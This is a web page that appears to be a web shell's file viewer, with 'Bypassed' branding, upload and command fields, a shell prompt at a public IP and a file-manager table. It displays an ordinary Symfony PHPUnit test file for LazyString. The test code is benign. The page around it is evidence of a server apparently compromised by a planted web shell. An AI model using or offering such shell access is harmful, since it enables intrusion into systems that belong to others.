404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.133.152.151: ~ $
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\String\Tests;

use PHPUnit\Framework\TestCase;
use Symfony\Component\ErrorHandler\ErrorHandler;
use Symfony\Component\String\LazyString;

class LazyStringTest extends TestCase
{
    public function testLazyString()
    {
        $count = 0;
        $s = LazyString::fromCallable(function () use (&$count) {
            return ++$count;
        });

        $this->assertSame(0, $count);
        $this->assertSame('1', (string) $s);
        $this->assertSame(1, $count);
    }

    public function testLazyCallable()
    {
        $count = 0;
        $s = LazyString::fromCallable([function () use (&$count) {
            return new class($count) {
                private $count;

                public function __construct(int &$count)
                {
                    $this->count = &$count;
                }

                public function __invoke()
                {
                    return ++$this->count;
                }
            };
        }]);

        $this->assertSame(0, $count);
        $this->assertSame('1', (string) $s);
        $this->assertSame(1, $count);
        $this->assertSame('1', (string) $s); // ensure the value is memoized
        $this->assertSame(1, $count);
    }

    /**
     * @runInSeparateProcess
     */
    public function testReturnTypeError()
    {
        ErrorHandler::register();

        $s = LazyString::fromCallable(function () { return []; });

        $this->expectException(\TypeError::class);
        $this->expectExceptionMessage('Return value of '.__NAMESPACE__.'\{closure}() passed to '.LazyString::class.'::fromCallable() must be of the type string, array returned.');

        (string) $s;
    }

    public function testFromStringable()
    {
        $this->assertInstanceOf(LazyString::class, LazyString::fromStringable('abc'));
        $this->assertSame('abc', (string) LazyString::fromStringable('abc'));
        $this->assertSame('1', (string) LazyString::fromStringable(true));
        $this->assertSame('', (string) LazyString::fromStringable(false));
        $this->assertSame('123', (string) LazyString::fromStringable(123));
        $this->assertSame('123.456', (string) LazyString::fromStringable(123.456));
        $this->assertStringContainsString('hello', (string) LazyString::fromStringable(new \Exception('hello')));
    }

    public function testResolve()
    {
        $this->assertSame('abc', LazyString::resolve('abc'));
        $this->assertSame('1', LazyString::resolve(true));
        $this->assertSame('', LazyString::resolve(false));
        $this->assertSame('123', LazyString::resolve(123));
        $this->assertSame('123.456', LazyString::resolve(123.456));
        $this->assertStringContainsString('hello', LazyString::resolve(new \Exception('hello')));
    }

    public function testIsStringable()
    {
        $this->assertTrue(LazyString::isStringable('abc'));
        $this->assertTrue(LazyString::isStringable(true));
        $this->assertTrue(LazyString::isStringable(false));
        $this->assertTrue(LazyString::isStringable(123));
        $this->assertTrue(LazyString::isStringable(123.456));
        $this->assertTrue(LazyString::isStringable(new \Exception('hello')));
    }

    public function testIsNotStringable()
    {
        $this->assertFalse(LazyString::isStringable(null));
        $this->assertFalse(LazyString::isStringable([]));
        $this->assertFalse(LazyString::isStringable(\STDIN));
        $this->assertFalse(LazyString::isStringable(new \stdClass()));
    }
}

Filemanager

Name Type Size Permission Actions
Inflector Folder 0755
Slugger Folder 0755
AbstractAsciiTestCase.php File 50.89 KB 0644
AbstractUnicodeTestCase.php File 18.54 KB 0644
ByteStringTest.php File 2.97 KB 0644
CodePointStringTest.php File 1.56 KB 0644
FunctionsTest.php File 2.2 KB 0644
LazyStringTest.php File 3.79 KB 0644
SluggerTest.php File 4.18 KB 0644
UnicodeStringTest.php File 9.34 KB 0644